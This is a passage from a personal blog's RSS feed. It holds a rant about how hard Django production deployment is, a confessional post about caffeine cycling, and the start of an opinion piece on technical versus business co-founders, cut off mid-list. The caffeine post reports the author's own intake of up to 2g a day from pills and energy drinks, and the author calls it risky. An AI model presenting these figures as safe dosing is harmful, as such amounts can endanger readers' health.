apps into production. And yes, I really do mean a &lt;strong>HELL&lt;/strong> of a lot. While
Django is a great web framework, one of its primary weaknesses (in my opinion)
is a lack of strong deployment documentation and community standards. There
has been no easy way (until now, &lt;em>kinda&lt;/em>) to deploy your apps into production
in a reliable, simple fashion. Period.&lt;/p>
&lt;p>Sure, there are excellent &lt;em>best practices&lt;/em> that a few &lt;strong>awesome&lt;/strong> programmers
follow, but for the majority of users, the best practices are just too complex
and time consuming to setup and administer for typical site.&lt;/p>
&lt;h2 id="real-world-deployment">Real World Deployment&lt;/h2>
&lt;p>Let&amp;rsquo;s pretend, for a moment, that you&amp;rsquo;re an intermediate Django programmer.
You spend 8 hours a day working on a single project that is built purely in
python / Django. Your &lt;a href="http://www.southparkstudios.com/full-episodes/s03e10-chinpoko-mon" title="Primary Main Objective">primary main objective&lt;/a> is to keep your users happy
(fix bugs, release new features, etc.). You&amp;rsquo;re fairly familiar with the Django
ecosystem: you know which apps to look at for solving various problems, and you
know where to find information you don&amp;rsquo;t already know.&lt;/p>
&lt;p>Let&amp;rsquo;s further assume that you&amp;rsquo;re also an all-around-geek, and manage your own
&lt;a href="http://www.rackspacecloud.com/3149.html" title="Rackspace">Rackspace&lt;/a> or &lt;a href="http://aws.amazon.com/" title="Amazon Web Services">Amazon&lt;/a> servers which you use to host your Django app. You
boot your fresh new &lt;a href="http://www.ubuntu.com/" title="Ubuntu">Ubuntu&lt;/a> cloud server, then install &lt;a href="http://www.apache.org/" title="Apache">Apache&lt;/a> and
&lt;a href="http://code.google.com/p/modwsgi/" title="mod_wsgi">mod_wsgi&lt;/a> to run your Django site. You then spin up a second server and
install &lt;a href="http://www.postgresql.org/" title="PostgreSQL">PostgreSQL&lt;/a>, which your site uses as its primary data store.&lt;/p>
&lt;p>You think you&amp;rsquo;re doing a good job&amp;ndash;you wrote your app and got it online, spent
time learning how to use your cloud provider&amp;rsquo;s APIs to boot up your new server,
and you managed to install, configure, and administrate your app. Furthermore,
you know where to look for problems: apache error logs, Django 500 and 404
emails, etc. In your mind, you&amp;rsquo;re &lt;em>awesome&lt;/em>.&lt;/p>
&lt;p>When you think about the amount of effort you put into your work, you feel
highly accomplished. Not only did you do a good job getting everything
running, but you also spent &lt;strong>years&lt;/strong> learning all the technologies that power
your site: HTML, CSS, Javascript, Python, Django, Linux, etc.&lt;/p>
&lt;p>&amp;hellip; BUT &amp;hellip;&lt;/p>
&lt;p>After three months of building your site, and 1 month of getting it running in
production, you finally have real users. As a matter of fact, you&amp;rsquo;re getting
about 20 hits per second. While this may be awesome for business, your web
server&amp;rsquo;s load is 14, and your users&amp;rsquo; HTTP requests start timing out.&lt;/p>
&lt;p>Since your PostgreSQL server still has reasonable load, you decide to scale
your site horizontally by spinning up a second web server, and splitting HTTP
requests between the two. This way, you can serve twice as many users and keep
your site running smoothly.&lt;/p>
&lt;p>You spin up a new server, install Apache / mod_wsgi again, then copy your code
over. After a few hours researching HTTP load balancing, you decide to use
&lt;a href="http://haproxy.1wt.eu/" title="HAProxy">HAProxy&lt;/a> to proxy your requests. A week later, you have HAProxy running on
a new server, and can see HTTP requests hitting each web server.&lt;/p>
&lt;p>Finally, your users can view your site again, whew. &lt;strong>WRONG&lt;/strong>.&lt;/p>
&lt;p>As your site has grown, you&amp;rsquo;ve noticed that several pages have started eating
lots of CPU cycles. Upon further analysis, you see the problem: rendering the
dashboard page requires about 30 time intensive SELECT queries on your
PostgreSQL server. &lt;strong>Damn&lt;/strong>. To make matters worse, you can tell that if you
don&amp;rsquo;t get this fixed right away, the database server will be destroyed by the
week&amp;rsquo;s end.&lt;/p>
&lt;p>To avoid repeating the large SQL queries, you decide to cache the page data for
an hour the first time a user visits the page. That way, repeat requests for
that page will not generate repeat SQL queries, thereby taking load off the
database. You provision a new server, and install &lt;a href="http://memcached.org/" title="memcached">memcached&lt;/a>. Two days
later, you&amp;rsquo;ve got a caching server working, and you&amp;rsquo;ve rewritten most of your
Django views to utilized memcached.&lt;/p>
&lt;p>Now you can finally get back to coding! &lt;strong>WRONG&lt;/strong>.&lt;/p>
&lt;p>Your pages are still loading slowly. You analyze your code base, and realize
the new problem: once your cached page expires (at the end each hour), multiple
users hit the page simultaneously, generating numerous time intensive SQL
queries, effectively hammering your database server and causing HTTP timeouts.
Back to the drawing board.&lt;/p>
&lt;p>&lt;strong>At this point, you&amp;rsquo;re frustrated with progress.&lt;/strong>&lt;/p>
&lt;p>After a few days of research, you discover how to solve your caching problems:
&lt;a href="http://en.wikipedia.org/wiki/Cache_invalidation" title="Cache Invalidation Wiki">cache invalidation&lt;/a> + &lt;a href="http://activemq.apache.org/how-do-distributed-queues-work.html" title="How Distributed Queues Work">distributed message queues&lt;/a>. Essentially, each
time a user adds new data to your site, you&amp;rsquo;ll:&lt;/p>
&lt;ul>
&lt;li>Dump a small message onto the queue that says &amp;ldquo;do some processing, then
update the cache&amp;rdquo;.&lt;/li>
&lt;li>Your queue will get the message, and hold onto it.&lt;/li>
&lt;li>Your worker processes will grab the oldest message from the queue, one at a
time, and do what needs to be done (do processing, update the cache, etc.).&lt;/li>
&lt;/ul>
&lt;p>This way, your page cache is never stale, and you never run into the same
traffic stampede issues that you previously had.&lt;/p>
&lt;p>The only problem now is that setting up a distributed message queue is a lot of
work. You need to setup a &lt;a href="http://www.rabbitmq.com/" title="RabbitMQ">RabbitMQ&lt;/a>, &lt;a href="http://docs.celeryproject.org/en/latest/userguide/periodic-tasks.html" title="celerybeat">celerybeat&lt;/a>, and one (or more)
&lt;a href="http://celeryproject.org/" title="celery">celeryd&lt;/a> servers.&lt;/p>
&lt;p>Two weeks and a lot of &lt;a href="http://www.amazon.com/gp/product/B000NGNEKY/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=B000NGNEKY&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="Rockstar No Carb Energy Drinks">energy drinks&lt;/a> later, you&amp;rsquo;ve got it all set up and
working. You&amp;rsquo;ve rewritten most of your initial Django code to make good use of
celery and memcached.&lt;/p>
&lt;p>But&amp;hellip; Then you realize the PostgreSQL server is dying. &lt;strong>FUCK!&lt;/strong>&lt;/p>
&lt;p>Even with all the fancy new scaling tools implemented, the database just can&amp;rsquo;t
handle the constant load. Two weeks later you finish deploying multiple
PostgreSQL read slaves, and configure your Django database routing rules to use
the new PostgreSQL cluster effectively.&lt;/p>
&lt;p>At this point, you&amp;rsquo;re dying to get back to programming. You&amp;rsquo;ve spent almost
two months keeping your site running, but that&amp;rsquo;s it. You haven&amp;rsquo;t had time to
work on bug fixes, or feature requests for your site. To top it all off,
you&amp;rsquo;ve had to rapidly learn numerous new technologies just to keep things
going, and you&amp;rsquo;re afraid that if anything fails, you&amp;rsquo;ll be completely screwed.&lt;/p>
&lt;p>In order to maintain your sanity, you spend a few more days researching server
management tools, and discover &lt;a href="https://puppetlabs.com/" title="puppet">puppet&lt;/a>. Then&amp;hellip;&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/deploying-django/george-bush.png" alt="George Bush" title="George Bush">
&lt;/p>
&lt;p>&lt;strong>Oh my fucking GOD!&lt;/strong>&lt;/p>
&lt;p>Yes, grasshopper! You now see it: you have only begun to discover the amount
of work that lays ahead. You&amp;rsquo;ve barely scratched the surface as to the tools,
methods, and skills necessary to manage and operate even the &lt;em>simplest&lt;/em> of
production sites. Your work is cut out for you.&lt;/p>
&lt;h2 id="the-truth">The Truth&lt;/h2>
&lt;p>If I&amp;rsquo;ve learned anything in the past two years working with production Django
deployments, it&amp;rsquo;s that &lt;strong>deployment is fucking hard&lt;/strong>. Every real project I&amp;rsquo;ve
put into production over the past few years has involved hundreds (if not
thousands) of hours worth of infrastructure management. Even though I&amp;rsquo;d like
to think that my overall sysadmin skills are slightly above that of your
typical programmer, I still spend an inordinate amount of time working on
infrastructure.&lt;/p>
&lt;p>After speaking to loads of other programmers in the Django community, I
realize it isn&amp;rsquo;t only me who has this problem, it&amp;rsquo;s &lt;strong>everyone&lt;/strong>. While I
don&amp;rsquo;t have any statistics to back this up, I&amp;rsquo;d estimate that typical Django
programmers spends at &lt;strong>least&lt;/strong> half their time working on infrastructure
related tasks.&lt;/p>
&lt;p>&lt;strong>The Django community is at an interesting place right now.&lt;/strong>&lt;/p>
&lt;p>We&amp;rsquo;re sitting on verge of an enormous technology breakthrough. There are
currently sufficient tools, methods, and practices that allow Django developers
to build simple, robust, and scalable applications. However, the community as
a whole lacks direction and confidence in deployment.&lt;/p>
&lt;h2 id="what-django-needs">What Django Needs&lt;/h2>
&lt;p>In order to fix the deployment problems in the Django community, several things
need to happen. If community members realize the importance of this problem,
it is more likely to get resolved quickly. By solving the deployment problem,
Django can set an unprecedented standard for web development.&lt;/p>
&lt;p>First and foremost, all of the Django hosting companies around (&lt;a href="http://www.heroku.com/" title="Heroku">Heroku&lt;/a>,
&lt;a href="https://gondor.io/" title="Gondor">Gondor&lt;/a>, etc.) need to really step up their game. These companies are in
the best position to fix the deployment problem. Their livelihood depends on
making developer&amp;rsquo;s lives easier, and since they have developers giving them
money, they&amp;rsquo;re in the best position to gather real world usage data from
numerous Django developers, and build elegant deployment abstractions.&lt;/p>
&lt;p>I&amp;rsquo;d personally like to see Heroku succeed as the dominant Django hosting
provider. In my opinion, they are tackling the deployment problem the best
way. Their model is simple: provide solid support for hosting your apps, and a
&lt;a href="https://addons.heroku.com/" title="Heroku Addons">large collection of add-ons&lt;/a> that any developer can easily add and remove
from their site in an instant. Their addons allow you (as a developer) to
completely ignore 90% of typical infrastructure work, focusing purely on
application code. Furthermore, since Heroku is running on Amazon&amp;rsquo;s cloud, it&amp;rsquo;s
likely that their prices will drop over time as their user base continues to
grow and Amazon&amp;rsquo;s infrastructure becomes a commodity.&lt;/p>
&lt;p>Second, we need strong deployment leadership from Django&amp;rsquo;s core team. In my
opinion, &lt;a href="http://jacobian.org/" title="Jacob Kaplan-Moss">Jacob Kaplan-Moss&lt;/a> is best posed to take on the role of
deployment-&lt;a href="http://en.wikipedia.org/wiki/Benevolent_Dictator_For_Life" title="BDFL Wiki">BDFL&lt;/a>. Jacob (one of the Django creators and core developers) is
an outspoken &lt;a href="http://en.wikipedia.org/wiki/DevOps" title="devops Wiki">devops&lt;/a> advocate, frequently giving presentations on Django
deployment and infrastructure best practices.&lt;/p>
&lt;p>With a strong leader willing to tackle the deployment problem, the official
&lt;a href="https://docs.djangoproject.com/en/dev/howto/deployment/" title="Django Deployment Documentation">deployment documentation&lt;/a> needs to be heavily updated. Currently, the
official documentation is woefully inadequate&amp;ndash;covering only the most basic
deployment patterns. In order for the Django community to continue to grow and
succeed, the official deployment documentation needs to have a strong voice and
opinion&amp;ndash;it needs to say:&lt;/p>
&lt;ul>
&lt;li>Here&amp;rsquo;s how to do caching right.&lt;/li>
&lt;li>Here&amp;rsquo;s how to properly setup asynchronous tasks.&lt;/li>
&lt;li>Here&amp;rsquo;s how to scale your database for certain usage patterns.&lt;/li>
&lt;li>etc.&lt;/li>
&lt;/ul>
&lt;p>While this will surely upset a lot of people who believe in Python&amp;rsquo;s
flexibility, Django &lt;strong>needs&lt;/strong> to take an opinionated stance in regards to
tools, patterns, and practices. Without a stance, the community will stay as
it is: stuck in a confused state regarding deployment.  If we (as a community)
can agree to take a stance on deployment: decide what to do, and what not to
do&amp;ndash;it will revolutionize Django.&lt;/p>
&lt;p>Third, the open source community needs to develop high-level abstractions for
common patterns. There are currently excellent tools available to Django
developers wanting to build production apps (celery, RabbitMQ, memcached,
redis, etc.), but due to the complexity associated with setting them up and
managing them, they are not used nearly as often as they should be.&lt;/p>
&lt;p>Developers need tools to fully automate and manage various pieces of Django
infrastructure. If it was as easy to deploy an auto-scaling distributed cache
as it was to start a Django app on the command line, Django developers
everywhere would be much happier.&lt;/p>
&lt;h2 id="i-have-a-dream">I Have a Dream&lt;/h2>
&lt;p>In my dream, all Django developers (from the newest to the most experienced)
can rapidly build their web apps, knowing that production deployment is at most
10 minutes away from completion.&lt;/p>
&lt;p>Imagine a world where (as a developer) you can build an app, and have it
running live in a best-practices, scalable, and sustainable way in no more than
10 minutes. The possible benefits are tremendous:&lt;/p>
&lt;ul>
&lt;li>Production Django sites will typically be more reliable than their
counterparts.&lt;/li>
&lt;li>Django developers worldwide will have confidence in not only writing, but
also deploying their applications to the world.&lt;/li>
&lt;li>New developers will be greatly attracted to Django as a framework, due to
its immensely simplified and powerful deployment options.&lt;/li>
&lt;li>Django developers will be able to spend more time, each day, writing Python
and Django code, instead of focusing their efforts on infrastructure
management.&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>We&amp;rsquo;re at an awesome time in Django history.&lt;/strong>&lt;/p>
&lt;p>Each of us has the ability to greatly effect the future of the framework we all
love so much. We have the ability to influence the newest generation of sites
that power the internet. We need to collectively decide to show our fellow
developers the light, and remove the confusion that exists around deployment.&lt;/p>
&lt;p>&lt;strong>EDIT&lt;/strong>: Based on the feedback I received from this article, I decided to
write a series on deploying Django. If you&amp;rsquo;re interested, you can read the
first part &lt;a href="https://rdegges.com/2011/devops-django-part-1-goals/" title="Devops Django - Part 1 - Goals">here&lt;/a>.&lt;/p>
&lt;p>&lt;strong>UPDATE&lt;/strong>: If you liked this post, you may want to check out my new book on
Heroku, &lt;a href="http://www.theherokuhackersguide.com/" title="The Heroku Hacker's Guide">The Heroku Hacker&amp;rsquo;s Guide&lt;/a>. It covers ideal ways to deploy your web
applications on Heroku to reduce the pain.&lt;/p></description></item><item><title>My Use (and Abuse) of Caffeine</title><link>https://rdegges.com/2011/my-use-and-abuse-of-caffeine/</link><pubDate>Thu, 29 Sep 2011 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/my-use-and-abuse-of-caffeine/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/my-use-and-abuse-of-caffeine/caffeine-chart.png" alt="Caffeine Chart" title="Caffeine Chart">
&lt;/p>
&lt;p>&lt;a href="http://en.wikipedia.org/wiki/Caffeine" title="Caffeine">Caffeine&lt;/a> is an amazing drug. Interestingly, I&amp;rsquo;ve never actually written
about my extensive use of caffeine before, although it is a large part of who I
am. As all my friends can attest, I&amp;rsquo;m an enormous caffeine junkie. I&amp;rsquo;ve been
told by numerous people (my wife included) that I need to lay off the caffeine
and take it easy&amp;ndash;or I&amp;rsquo;ll end up dead.&lt;/p>
&lt;p>Growing up, I never drank much caffeine&amp;ndash;except small amounts in soda. I could
never stand the taste of coffee (although this is beginning to change&amp;ndash;I still
don&amp;rsquo;t see myself ever drinking coffee on a daily basis). My first real
experience with caffeine was during my schooling at the
&lt;a href="http://www.ucsc.edu/" title="UC Santa Cruz">University of California, Santa Cruz&lt;/a>, which is where I tried my first
energy drink. One of my roommates routinely drank &lt;a href="http://www.wiredenergydrink.com/" title="Wired Energy Drinks">these&lt;/a>, and eventually I
came around to trying them (they were awesome, by the way). After that, it was
pretty much game over. Energy drinks tasted awesome, and made me feel amazing.&lt;/p>
&lt;p>Actually, they still do.&lt;/p>
&lt;p>Through years of experimentation, I&amp;rsquo;ve come to realize how much caffeine has
changed me as a person.&lt;/p>
&lt;h2 id="my-normal-un-caffeinated-self">My Normal (un-caffeinated) Self&lt;/h2>
&lt;p>The &lt;em>normal&lt;/em> Randall is a pretty awful guy. He procrastinates, is easily
distracted, and is typically negative by nature. When I&amp;rsquo;m not caffeinated, I
feel like a completely different person.&lt;/p>
&lt;p>The first thing I&amp;rsquo;ve noticed about my un-caffeinated self is that I tend to
over think things, and not in a good way. I won&amp;rsquo;t go as far as saying I&amp;rsquo;m
paranoid, but I over analyze even the smallest situations and make them into
big issues. When I&amp;rsquo;m un-caffeinated, I tend to argue a lot more frequently
with my wife about stupid things, like who replaced the trash and who did the
dishes.&lt;/p>
&lt;p>This over analysis also carries over into other parts of my life, including my
work and health. When un-caffeinated, I tend to feel overly stressed out by
the business of startup life, and let this stress bleed over into my exercise
and eating habits, which rapidly degrade. The biggest problem with this is
that I&amp;rsquo;ll focus all my energy, effort, stress and worry on a single item, and
let all my other responsibilities, goals and commitments suffocate. It
probably doesn&amp;rsquo;t help that I tend to be an obsessive person by nature, and have
problems focusing on multiple things at a time. Without caffeine, this side of
me seems to run amuck.&lt;/p>
&lt;p>When un-caffeinated, I also feel overwhelmingly negative. Instead of looking
at life in a positive, enthusiastic way&amp;ndash;I tend to view even the most fun
experiences as chores (horrible, I know). Although I really do love writing
code on my free time, when I&amp;rsquo;m not on caffeine I have an extremely hard time
making myself do it, even though I want to, as it just seems like a pointless
chore. This isn&amp;rsquo;t always the case&amp;ndash;but overall, I tend to be far more negative
when I&amp;rsquo;m un-caffeinated.&lt;/p>
&lt;h2 id="the-better-caffeinated-me">The Better (caffeinated) Me&lt;/h2>
&lt;p>When I&amp;rsquo;m on caffeine&amp;ndash;I feel amazing. I&amp;rsquo;ve never done any hard drugs before,
but I can&amp;rsquo;t imagine that they&amp;rsquo;d make me feel any better than caffeine does.
When I&amp;rsquo;m on caffeine, I feel like a monster. I feel powerful, calm, smart,
enthusiastic, energetic, positive, and unconquerable. Nothing can get me down.&lt;/p>
&lt;p>The most obvious effect caffeine has on me is my mental state. Within 20
minutes of taking 100+ mg of caffeine, I begin to feel calm (this is the
opposite effect that most people tend to have, or so I&amp;rsquo;ve been told). It is a
good sort of calm&amp;ndash;a samurai calm, if you will. I feel as if I have the power
to do what I want to do, whenever I please. I feel confident, insightful, and
peaceful.&lt;/p>
&lt;p>After the calm sets in, I notice that my thoughts become clearer and more
precise. Instead of feeling pulled in numerous directions by things I want
(and need) to do: work, exercise, eat, work on projects, etc.&amp;ndash;I feel an
overwhelming sense of self-direction. I&amp;rsquo;m able to pick what is most important
to me at the moment, and put all my effort and focus into this task, which
gives me an amazing sense of self of fulfilment. The greatest part about this
clarity in my mind is that it puts me into &amp;ldquo;the zone&amp;rdquo;, and after finishing one
thing, my momentum builds, and the snowball effect takes over.&lt;/p>
&lt;p>The physical effects caffeine has on me are also amazing. When caffeinated, I
have unlimited physical energy. In fact, of all my workouts in the past few
years, the best ones were done in a caffeinated state. When I workout with
caffeine, I&amp;rsquo;m able to push myself much harder and for longer periods of time
than I can otherwise.&lt;/p>
&lt;p>Caffeine also keeps me satiated. The more caffeine I take, the less hungry I
feel&amp;ndash;and this feeling lasts for hours at a time. 200mg of caffeine and I
won&amp;rsquo;t be hungry (at all) for ~4 hours. This has been particularly useful to me
as it helps me avoid consuming unnecessary calories throughout the day in the form of
snacks.&lt;/p>
&lt;p>Lastly, being caffeinated makes me feel happy. I truly feel like I&amp;rsquo;m the
person I was &amp;ldquo;meant to be&amp;rdquo; when I&amp;rsquo;m taking caffeine. As awful as this sounds,
I really feel like I&amp;rsquo;m at my best, and my happiest, when I&amp;rsquo;m caffeinated. I&amp;rsquo;m
able to enjoy each moment of life as I pass through it, which puts me at peace
internally.&lt;/p>
&lt;h2 id="the-dirty-details-of-my-caffeine-usage">The (dirty) Details of My Caffeine Usage&lt;/h2>
&lt;p>It is actually rather hard for me to write about this, as I can&amp;rsquo;t help but feel
somewhat embarrassed at my caffeine usage&amp;ndash;but here it goes anyway.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: Don&amp;rsquo;t do what I do. It&amp;rsquo;s probably extremely risky and unhealthy, and
I &lt;em>know&lt;/em> that I need to change my habits significantly.&lt;/p>
&lt;p>I cycle caffeine. I&amp;rsquo;ve read tons of articles on the drug, and realize that my
cycling isn&amp;rsquo;t as effective as it could be (in large part because I don&amp;rsquo;t go off
it long enough to really flush it completely out of my system), but it has been
effective for me. Keep in mind that the amounts of caffeine listed below are
less effective at higher weights. I&amp;rsquo;m a fairly big guy (~220lbs), so these
amounts would likely be &lt;em>really&lt;/em> dangerous for someone smaller.&lt;/p>
&lt;p>My general cycle is three weeks on caffeine, one week off. After years of
messing around with caffeine in various quantities and cycles, this has been
the most effective for me. By effective I mean that it allows me to feel good
for the maximum amount of time, without having the burnout that comes with too
much caffeine usage over a sustained period of time (I&amp;rsquo;ll get into that later).&lt;/p>
&lt;p>In any given month, I&amp;rsquo;ll typically go the first week of the month
un-caffeinated. Considering the amounts of caffeine I take the rest of the
month, and the amount of time required to fully flush caffeine from one&amp;rsquo;s
system, the week that I do spend un-caffeinated is actually still pretty good
for me. The remaining caffeine in my system keeps me feeling pretty good
through the week, even though I&amp;rsquo;m not taking it. This week is especially
important in the cycle because without it, I&amp;rsquo;ll begin feeling groggy, and
burnt-out. I&amp;rsquo;ve found that one week is just enough time to let my body catch
up with me, and it allows me to get the most consistent effect from caffeine
over long periods of time.&lt;/p>
&lt;p>The other three weeks of the month are variable. I&amp;rsquo;ll take anywhere from 100mg
to 2g (max) of caffeine per day, fluctuating its usage as necessary. I try to
gradually increase my usage&amp;ndash;for example: week 2 (of a month) I&amp;rsquo;ll take between
100mg and 400mg of caffeine. Week 3 I&amp;rsquo;ll take between 400mg and 600mg. Week 4
I&amp;rsquo;ll take anywhere from 100mg to 2g.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: Days when I take more than 1g of caffeine are &lt;em>always&lt;/em> followed by
days with very low dosages of caffeine&amp;ndash;100mg or 200mg, as I&amp;rsquo;m afraid I&amp;rsquo;ll
overdo it.&lt;/p>
&lt;p>In regards to the types of caffeine I take&amp;ndash;I only take it in one of two ways:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="http://www.amazon.com/gp/product/B000NVNLTS/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=B000NVNLTS&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="NoDoz Caffeine Pills">NoDoz caffeine pills&lt;/a> (each pill is 100mg of pure caffeine), or&lt;/li>
&lt;li>&lt;a href="http://www.amazon.com/gp/product/B000NGNEKY/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=B000NGNEKY&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="Zero Carb Rockstar">Zero Carb Rockstar Energy Drinks&lt;/a> (they taste like fruit punch, have
only 10 calories, and 240mg of caffeine per can).&lt;/li>
&lt;/ul>
&lt;p>The NoDoz pills are great because they&amp;rsquo;re pure caffeine&amp;ndash;no other stuff mixed
in, so you know that you&amp;rsquo;re doing it is as pure a way as possible. The Zero
Carb Rockstars are great because they have great flavor, almost no calories, no
carbs (no sugar), and are nice to sip on while you&amp;rsquo;re working. The Rockstars
allow you to spread your caffeine intake out a bit more, instead of ingesting
it all at once.&lt;/p>
&lt;h2 id="how-i-feel-when-i-overdo-it">How I Feel When I Overdo It&lt;/h2>
&lt;p>There have been a few times when I&amp;rsquo;ve overdone it on the caffeine. When this
happens, I&amp;rsquo;ll feel it the following morning when I wake up. The feeling is
awful. I feel dehydrated, groggy, sick, and slow. The only thing that helps
is to sit down in a quiet, dark place, and drink lots of water.&lt;/p>
&lt;p>This has happened only a few times, but each time has been a horrible
experience.&lt;/p>
&lt;p>What led me to originally cycle my caffeine usage was that after 3 weeks of
taking caffeine, I would begin to feel groggy, sick and dehydrated every
morning. It wouldn&amp;rsquo;t be as severe as it was when I knew I took to much in a
single day&amp;ndash;but it would be enough to negatively effect me. The week off of
caffeine at the beginning of each month allows me to reap the benefits of
extended caffeine usage everyday, without any bad days.&lt;/p>
&lt;h2 id="my-behavior">My Behavior&lt;/h2>
&lt;p>I realize that I need to bring my caffeine usage down a lot. While I don&amp;rsquo;t
consider caffeine to be bad in any way, I do realize that taking it in high
doses, frequently, can lead to lots of bad health effects.&lt;/p>
&lt;p>For the sake of myself, my wife, and my dog, I&amp;rsquo;ve specifically begun reducing
my caffeine usage during my 3 week cycle. I&amp;rsquo;m currently try to take no more
than 500mg per day, maximum&amp;ndash;which is a far leap from my prior usage. So far,
my reduced caffeine usage has been going pretty well. I still feel awesome, so
I&amp;rsquo;ll continue to keep it up.&lt;/p>
&lt;p>I hope that one day, both my normal (un-caffeinated) and caffeinated self can
be the same person. I&amp;rsquo;ve got a lot of work to do.&lt;/p></description></item><item><title>On Business Guys</title><link>https://rdegges.com/2011/on-business-guys/</link><pubDate>Sun, 18 Sep 2011 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/on-business-guys/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/on-business-guys/old-man-monster-sketch.png" alt="Old Man Monster Sketch" title="Old Man Monster Sketch">
&lt;/p>
&lt;p>&lt;strong>Disclaimer&lt;/strong>: This post is going to be a bit different than my usual.
Instead of discussing technical or philosophical stuff, I&amp;rsquo;m going to be doing
a bit of ranting.&lt;/p>
&lt;p>Before I go any further, I&amp;rsquo;d like to clear up any misunderstandings: I&amp;rsquo;m a tech
guy. I&amp;rsquo;m currently the lead programmer at a small technical startup in the
telephony industry. I&amp;rsquo;ve always had technical jobs, and most of my friends are
engineers. I have met and known quite a few business and marketing guys in my
life, and feel like my opinion as a tech guy is validated by my personal
experiences. Furthermore: I&amp;rsquo;m not saying I&amp;rsquo;m right&amp;ndash;I&amp;rsquo;m simply arguing my
point of view. Feel free to disagree with me!&lt;/p>
&lt;h2 id="why-now">Why Now?&lt;/h2>
&lt;p>As most of you know, I&amp;rsquo;m a pretty big fan of &lt;a href="http://news.ycombinator.com/" title="Hacker News">Hacker News&lt;/a>. I&amp;rsquo;ve been
extremely interested in the startup and tech community for many years, and the
topics discussed there typically hit close to heart. One of my lifelong dreams
is to build a successful technical empire, and as I feel I&amp;rsquo;m finally
approaching a level of development in my life that will allow me to start
building this empire, I&amp;rsquo;ve been paying closer and closer attention to relevant
discussions online. It seems as if every week the same few questions come up
in one form or another online:&lt;/p>
&lt;blockquote>
&lt;p>Hi guys! I&amp;rsquo;m a business guy, and I&amp;rsquo;d like to know how to find a technical
co-founder for my company. I&amp;rsquo;ve got some great ideas, and I&amp;rsquo;m awesome at
selling things, but I&amp;rsquo;m having lots of trouble meeting technical people who
will give me the time of day. What do I need to do?&lt;/p>
&lt;/blockquote>
&lt;p>Or&amp;hellip;&lt;/p>
&lt;blockquote>
&lt;p>Hi guys! I&amp;rsquo;m an engineer. Why do business guys continuously approach me
with their ideas, and expect me to spend all my free time building a
product for them for no pay?&lt;/p>
&lt;/blockquote>
&lt;p>Or my favorite&amp;hellip;&lt;/p>
&lt;blockquote>
&lt;p>Hi guys! I&amp;rsquo;m an engineer working on a startup in my free time with another
dude who is handling the business side of things. I&amp;rsquo;ve been writing code
for months now, and the product is beginning to look decent, but I feel
like my partner isn&amp;rsquo;t putting in a fair amount of work. He&amp;rsquo;s been telling
me that he&amp;rsquo;s been &lt;em>&amp;ldquo;working&amp;rdquo;&lt;/em> on getting customers, but I see nothing
being done that I couldn&amp;rsquo;t automate with a shell script. What do I do?&lt;/p>
&lt;/blockquote>
&lt;p>There have been some awesome discussions online surrounding these questions /
situations, with very heated debates on both sides of the table. Since I see
the same patterns emerge over and over again, I figured now is as good a time
as any to throw my thoughts out there into the mix, so here it goes.&lt;/p>
&lt;h2 id="technical-guys-are-fucking-smart">Technical Guys are Fucking SMART&lt;/h2>
&lt;p>The kind of techies who work at startups, read Hacker News, and build side
projects on their free time are &lt;em>SMART&lt;/em>. The amount of passion, dedication,
discipline, and time required to master technologies is astounding.  Building
software today requires immense knowledge spread across numerous domains. Even
building the &lt;em>&amp;ldquo;simplest&amp;rdquo;&lt;/em> of web services requires a wide array of technical
skills, that are the result of years worth of studying and practice.&lt;/p>
&lt;p>The type of technical guys who can build entire products and companies in just
a few months (or less!) are the type of people who are extremely dedicated to
their craft, and are among the top tiers of professional development. As
someone who frequents Hacker News, I find it is often the case that
non-technical people assume the sort of technical people described above are
abundant. This is simply not true. In small, niche communities like Hacker
News, it seems this way only because the overall quality of members and users
is extremely high in comparison to that of the &amp;ldquo;real world&amp;rdquo;, and thus gives the
impression that &lt;em>&amp;ldquo;most&amp;rdquo;&lt;/em> engineers are amazing.&lt;/p>
&lt;p>Furthermore, these awesome software developers aren&amp;rsquo;t &lt;em>just&lt;/em> good at technical
stuff&amp;ndash;they&amp;rsquo;re good at everything. The type of person who is continuously
learning, questioning, and creating things of value has extremely useful,
deeply ingrained character traits:&lt;/p>
&lt;ul>
&lt;li>They have a desire to understand why and how things work.&lt;/li>
&lt;li>They have a desire to solve problems in an elegant manner.&lt;/li>
&lt;li>They have and exercise critical thinking skills in all aspects of life.&lt;/li>
&lt;li>They think logically.&lt;/li>
&lt;li>They realize what limitations they have, and know how to work around them.&lt;/li>
&lt;li>They know how to create things.&lt;/li>
&lt;li>They know where and how to get information they don&amp;rsquo;t already have.&lt;/li>
&lt;/ul>
&lt;p>These traits are, in and of themselves, possibly the most useful skills of all.
People who exhibit those qualities are practically unstoppable. They&amp;rsquo;re able
to identify problems and build solutions to those problems in an elegant
manner.&lt;/p>
&lt;p>What I&amp;rsquo;m trying to get at here is this: if these developers are so smart, what
is stopping them from simply learning how to incorporate a company, advertise
online, and sell stuff? The answer is: &lt;em>&amp;ldquo;nothing&amp;rdquo;&lt;/em>. These people are more
than capable of learning the necessary skills to build successful companies
completely solo. In comparison to learning the vast amounts of technical
knowledge they&amp;rsquo;ve already acquired&amp;ndash;learning business and marketing concepts
are astoundingly simple in comparison.&lt;/p>
&lt;h2 id="business-guys-not-so-much">Business Guys&amp;hellip; Not So Much&lt;/h2>
&lt;p>As a non-technical business guy, your knowledge is at best extremely limited.
You&amp;rsquo;re at a severe disadvantage:&lt;/p>
&lt;ol>
&lt;li>Engineers can easily learn what you know.&lt;/li>
&lt;li>Good engineers have character traits that make them likely to succeed at a
myriad of activities, including business.&lt;/li>
&lt;li>Engineers understand how things work. Instead of making assumptions about
